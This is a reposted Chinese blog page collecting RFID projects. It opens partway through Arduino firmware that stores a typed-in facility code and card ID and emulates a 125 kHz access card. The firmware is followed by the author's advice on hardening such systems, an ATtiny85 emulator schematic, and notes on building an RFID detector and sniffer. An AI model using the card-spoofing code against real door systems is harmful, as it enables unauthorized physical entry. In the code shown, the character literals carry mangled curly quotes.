  else digitalWrite(DATALED4,LOW);   

}



void EmulateCard(void)
{
  #ifdef SERIALDEBUG 
  Serial.println("Emulate Card Entered"); 
  #endif  // enter a low power modewritedataLEDS(0);  // turn off the LEDs
  
  BuildCard();
  
  #ifdef SERIALDEBUG 
  Serial.println(); 
  for(int i = 0; i < 64; i++)
  {
    if (RFIDdata[i]==1) Serial.print("1"); 
    else if (RFIDdata[i]==0) Serial.print("0"); 
    else Serial.print((int)RFIDdata[i]); 
  } 
  Serial.println(); 
  #endif  
  

  while (1==1)
  {
    for(int i = 0; i < 64; i++)
    {
      TransmitManchester(0, RFIDdata[i]);
      delayMicroseconds(bittime);
      TransmitManchester(1, RFIDdata[i]);
      delayMicroseconds(bittime); 
    } 
  }
}

void PowerDown(void)
{
  #ifdef SERIALDEBUG 
  Serial.println("Sleep Mode Entered"); 
  #endif  // enter a low power mode
 
  writedataLEDS(0);  // turn off the LEDs

  set_sleep_mode(SLEEP_MODE_PWR_DOWN);
  sleep_enable();
  sleep_mode();
}





void DumpData(void)
{
  #ifdef SERIALDEBUG 
  Serial.println("Dump Data Entered"); 
  #endif  
  
  // dump the facility and card codes.
  writedataLEDS(0);  // turn off the data LEDs
  for (int i=0; i<2; i++)
  {  
    digitalWrite(STATUSLED1,HIGH);   
    writedataLEDS(facility[i]);
    delay(2000);   
    digitalWrite(STATUSLED1,LOW);
    delay(500); 
  }
  writedataLEDS(0);  // turn off the data LEDs
  digitalWrite(STATUSLED1,LOW);

  for (int i=0; i<8; i++)
  {  
    digitalWrite(STATUSLED2,HIGH);
    writedataLEDS(cardID[i]);
    delay(2000);   
    digitalWrite(STATUSLED2,LOW);
    delay(500); 
  }
  digitalWrite(STATUSLED2,LOW);
  writedataLEDS(mode);
}



void LoadFacility(void)
{
  char key;
  byte temp;

  #ifdef SERIALDEBUG 
  Serial.println("LoadFacility Entered"); 
  #endif  
  
  writedataLEDS(0);  // turn off the data LEDs
  for (int i=0; i<2; i++)
  {  
    writedataLEDS(facility[i]);
    // wait for a keypress
    key = NO_KEY;
    while (key == NO_KEY){
      delay(50);
      key = keypad.getKey();
    }
    switch (key){
      case ‘0‘: temp=0; break;
      case ‘1‘:  temp=1; break;
      case ‘2‘:  temp=2; break;
      case ‘3‘:  temp=3; break;
      case ‘4‘:  temp=4; break;
      case ‘5‘:  temp=5; break;
      case ‘6‘:  temp=6; break;
      case ‘7‘:  temp=7; break;
      case ‘8‘:  temp=8; break;
      case ‘9‘:  temp=9; break;
      case ‘A‘:  temp=0x0a; break;
      case ‘B‘:  temp=0x0b; break;
      case ‘C‘:  temp=0x0c; break;
      case ‘D‘:  temp=0x0d; break;
      case ‘E‘:  temp=0x0e; break;
      case ‘F‘:  temp=0x0f; break;
    }   

    digitalWrite(STATUSLED1,HIGH);   
    facility[i]=temp;

    writedataLEDS(facility[i]);
    delay(200);   
    writedataLEDS(0);
    delay(200);   
    writedataLEDS(facility[i]);
    delay(200);
  } 

  writedataLEDS(mode);
  digitalWrite(STATUSLED1,LOW);
  delay(100);
  digitalWrite(STATUSLED1,HIGH);
  for (int i=0; i<2; i++) EEPROM.write(i+1,facility[i]);
  delay(200);
  digitalWrite(STATUSLED1,LOW);
}



void LoadCardID(void){
  char tempchar[9];  // temporary storage for decimal to int conversion
  char key;
  byte temp;
  long decimalval;
 
  #ifdef SERIALDEBUG 
  Serial.println("LoadDecimalCardID Entered");
  #endif
  
  writedataLEDS(0);  // turn off the data LEDs
  for (int i=0; i<8; i++)
  {  
    // wait for a keypress
    key = NO_KEY;
    while (key == NO_KEY){
      delay(50);
      key = keypad.getKey();
    }
    
    tempchar[i]=key;
    
    digitalWrite(STATUSLED2,HIGH);   

    writedataLEDS(tempchar[i]);
    delay(200);   
  } 

  tempchar[8]=‘\n‘;
  #ifdef SERIALDEBUG 
    Serial.print("datastring="); Serial.println(tempchar);
  #endif
  decimalval=atol(tempchar);
  #ifdef SERIALDEBUG 
   Serial.print("datalong="); Serial.println((unsigned long)decimalval);
  #endif
   
  sprintf(tempchar,"%4.4X",(decimalval & 0xffff));
  #ifdef SERIALDEBUG 
   Serial.print("dataHEXLO="); 
   Serial.println(tempchar);
  #endif
  for (int i=4; i<8; i++) cardID[i]=asciitohex(tempchar[i-4]);
  
  decimalval = ((decimalval & 0xffff0000) >> 16);
  sprintf(tempchar,"%4.4X",decimalval);
  #ifdef SERIALDEBUG 
   Serial.print("dataHEXHi="); 
   Serial.print(tempchar);
  #endif
  for (int i=0; i<4; i++) cardID[i]=asciitohex(tempchar[i]);
 
  writedataLEDS(mode);
  digitalWrite(STATUSLED2,LOW);
  delay(100);
  digitalWrite(STATUSLED2,HIGH);
  for (int i=0; i<8; i++) EEPROM.write(i+3,cardID[i]);
  delay(200);
  digitalWrite(STATUSLED2,LOW);
}


char asciitohex(char value)  {
    char temp;
    switch (value){
      case ‘0‘:  temp=0; break;
      case ‘1‘:  temp=1; break;
      case ‘2‘:  temp=2; break;
      case ‘3‘:  temp=3; break;
      case ‘4‘:  temp=4; break;
      case ‘5‘:  temp=5; break;
      case ‘6‘:  temp=6; break;
      case ‘7‘:  temp=7; break;
      case ‘8‘:  temp=8; break;
      case ‘9‘:  temp=9; break;
      case ‘A‘:  temp=0x0a; break;
      case ‘B‘:  temp=0x0b; break;
      case ‘C‘:  temp=0x0c; break;
      case ‘D‘:  temp=0x0d; break;
      case ‘E‘:  temp=0x0e; break;
      case ‘F‘:  temp=0x0f; break;
    }   
   return temp;
}

   






void loop(void)
{
  char key = keypad.getKey();

  if (key != NO_KEY){

    if (key==‘M‘) {  
      mode++;
      if (mode>5) mode=1;
      writedataLEDS(mode);
      delay(100);
      Serial.print("Mode="); 
      Serial.println((int)mode);
    }

    if (key==‘N‘)  {   // enter key pressed - dofunction
      switch (mode){
      case 1:
        PowerDown();    // power down mode 
        break;
      case 2:
        LoadFacility(); // allow user to enter facility data
        break;
      case 3:
        LoadCardID();   // allow user to enter the card id
        break;
      case 4:
        DumpData();     // display the card data
        break;
      case 5: 
        EmulateCard();  // start card emulation
        break;
      } 
      #ifdef SERIALDEBUG 
       Serial.println(key); 
      #endif  
    }
  }
}          

 RFIDSpoofer_Instructables.pde

Step 9: Further steps

This was a ‘to prove I could do it‘ project - I have completed it, so it now sits on my shelf at work to remind others that simple RFID systems are simply not secure.

You are welcome to adapt the project however you would like to, and while you may have the skeleton keys to the kingdom, you still need the little numbers on the back of the access card before you can use the key yourself.

I have considered modifying my card so that it works as all of the compatible RFID tags that I hold.  In my job, I need have access to multiple work sites, and it would be great to use the one card, but I don‘t think that would be a great idea..........


Will this work on all RFID sytems?

No it won‘t. This is a good thing.

The first RFID systems deployed years ago used very simple protocols, based on the intelligence of the chip in the card - They also used a low frequency (125kHz) carrier.

More modern systems use a number of techniques to ensure security, such as one time codes; cryptography; use bi-directional communication; use internal passwords, and use much higher frequencies. So spoofing these systems is a lot more work.

But there are a large number of low tech systems in place now.


What can I do to protect my system?

Firstly, don‘t equate cards to physical keys - in simple systems they are not equivalent.

Don‘t give out visitor cards - They are easily duplicated - I f you do need Visitor cards, then implement a system where they are only active when they have been issued.

Enable Pass Back systems - If the card system believes you are in a particular room, make sure that the card can‘t be used in other rooms at the same time.

Remove the numbers from the back of the cards - while they may make it easier to enter card details, but they also make it easy for somebody to use the details for their own purposes.

Finally, look at how to upgrade your access system to a card system that is not trivially spoofed using $15 worth of parts.  And - No, purchasing a new system from eBay for $15 is not the answer....

 

Scheme emulator RFID-tag

技术分享

 

技术分享

/* Basic schematic:
 *
 *              ATtiny85
 *              +--------------+
 *            --| RST      Vcc |--
 *    +- L1 ----| B3/CLKI  SCK |--
 *    +---------| B4      MISO |--
 *            --| GND     MOSI |--
 *              +--------------+
 *
 * L1 is about 1 mH. It and the AVR are the only components.
 * All other pins should be unconnected.
 */

 http://svn.navi.cx/misc/trunk/avrfid/avrfid.S 

 

RFID Detector

技术分享

There is a lot of buzz lately about RFID (Radio Frequency ID) tags, mostly because of JC Penny‘s announcement of switching their retail system to RFID. Some of the buzz contains horror scenes like a hacker driving past your house and scanning it to inventory what you own. Or imagine your "Doggie Door" being hacked and you wake up with a pack of dogs in your kitchen eating food out of your RFID enabled refrigerator.

I decided to get more facts firsthand. So I ordered RFID components from Spark Fun Electronics (www.sparkfun.com/8419) and built my own RFID reader, pictured here. It works great but not nearly good enough to do the bad things described by RFID critics.

But then I came across an Instructable that described building a RFID DETECTOR (www.instructable.com/id/RFID-Reader-Dectector-and-Tilt-Sensitive-RFID-Tag/). It looked easy enough and so I built a similar one that I modified to work with my RFID reader.

This Instructable describes how to build a RFID Dectector that works...

技术分享

技术分享

技术分享
技术分享
The author of the Instructable for the RFID Detector that I read about said that his Detector only worked at the frequency of 13.56 mHz (short wave) but would not work for a Detector that operates at 1.25 kHz (long wave, below the AM broadcast band).  But 125 kHz readers are a RFID industry standard that happens to be the frequency used by the reader that I built. This means that my reader detector would have to have a different antenna and capacitor combination to work. See basic schematic and basic formula. To calculate values, pick the needed formula, substitute your values and carefully use a calculator.

Part List:
About 40 feet of thin wire, 22 to 30 gage - I used 30 gage - Radio Shack
One common LED - I liked the red LED - Radio Shack
One .005 uF capacitor OR two .01 uF disk capacitors hooked up in series- Radio Shack
Two to five 100 pF disc capacitors - Radio Shack
Any kind of form or holder that allows one to wind a four inch diameter coil
Radio Shack type of breadboard or "prototype board" - (allows trial and error)
Some kind of circuit board for neatness but simple direct wiring could be used
Access to an RFID reader to allow testing of detector
No batteries required as this Detector gets its power wirelessly from the RFID reader (heh-heh)
 
I first scramble wound my coil on a form that was about four inches in diameter - I‘m pretty sure the diameter could vary plus or minus an inch as long as you "use up" the forty feet of wire, 30 gage or thicker.

When I finished winding my coil, I compared it with other coils I had and determined the inductance of my newly wound coil to be about 330 uH - (I had hoped for a much higher value).

I plugged 330 uH into the formula above and the result suggested that I needed a .005 uF capacitor to match my 330 uH coil so that the coil - capacitor combination would "resonate" at 125 kHz, allowing enough power to reach and light the LED.

Before doing any soldering, I connected all the parts to a plastic "breadboard," sometimes called a prototype board.
 

技术分享

After breadboarding the coil, LED and two .01 uF capacitors hooked up in series and then hooked in parallel with the LED (to give a net capacitance of .005 uF (5000 pF), I powered up my little RFID reader and when I moved the coil within 4 inches of the reader, the LED started to glow. The LED glowed very brightly when I held the coil about one-half inch from the reader. I then add a 100 pF (.0001 uF) capacitor in parallel to the circuit.This further increased the range. And then I found that adding even another 100 pf capacitor (total of two 100 pF capacitors) in parallel with everything caused a further improvement in range. But adding a third 100 pf capacitor decreased the range. So with my coil, it looked like 5200 pf of capacitance was best for the coil that I had (see 3rd Try schematic).

My detector would have worked if I had simply wired up a capacitance of .005 uF in parallel with the coil and LED but the breadboard along with a few extra capacitors allowed me to make the detector reach up to five inches rather than just four inches. This is why a breadboard and some extra capacitors might be helpful for matching the coil that you wind.

The sequence of pictures here reveals how the LED goes from not being visible to brighter and brighter as the coil is placed closer to the RFID reader.

So this little device works - for 125 kHz ("kilo Hertz") readers. It‘s easy to make and somewhat forgiving even if the parts are not "exact" or "ideal." 

I then soldered the parts used on the breadboard onto a piece of Radio Shack project board. However, the parts could have been just wired together "ugly style" and then soldered. This would have worked. I then taped the little circuit board to the coil so that the whole unit, coil and all could be handheld, free of any other wires or connections. This handheld unit worked just fine. I would expect it to detect any RFID Reader as long as the Dectector was within 3 to 5 inches of the reader AND the reader operated at a frequency of 125 kHz.

Since I now knew that the capacitance that gave me the most light at a given distance was .0052 uF, I plugged this value along with 125 kHz into the appropriate formula and got an Inductor value of 312 uH instead of the 330 uH value I thought I had. The math here might not be absolutely necessary but it helped me predict what capacitor value might best match my guessed inductance of the wound coil. Using only trial an error might have worked but this would have required more capacitors on hand and very likely more "trial and error."

Furthermore, the principles revealed by the general schematic and the related formulas apply to many RFID situations as well as situations related to metal detectors and radio receivers and transmitters. But that‘s another story...

http://youtu.be/aVBAZ8GvboQ

And now I‘ve decided to finish here by attempting to add access to a video that reveals the action of the RFID Reader Detector...

RFID sniffer

About this project

RFID is everywhere.

Use the easy to build RFID sniffer to find out if objects are tagged.

The RFID sniffer is a simple analog electronic circuit which can detect the presence of 13.56 MHz RFID tags.

These tags are commonly used in all kinds of plastic cards like access badges,

bank cards, library cards, loyalty cards and so on.

Also many other objects may carry RFID tags without you knowing it.

Books, toys, and even clothing might be tagged.

Carrying tagged objects with you can reveal your identity or whereabouts to anyone equipped with the appropiate tools to read RFID tags.

The RFID sniffer helps you identify which objects are tagged, and which are not.

 技术分享

 

技术分享

技术分享

RFID sniffer

技术分享

 

 

 

 

 

RFID 克隆/仿真/模拟/监控/拦截/检测/嗅探器

标签:

原文地址:http://www.cnblogs.com/shangdawei/p/4834188.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!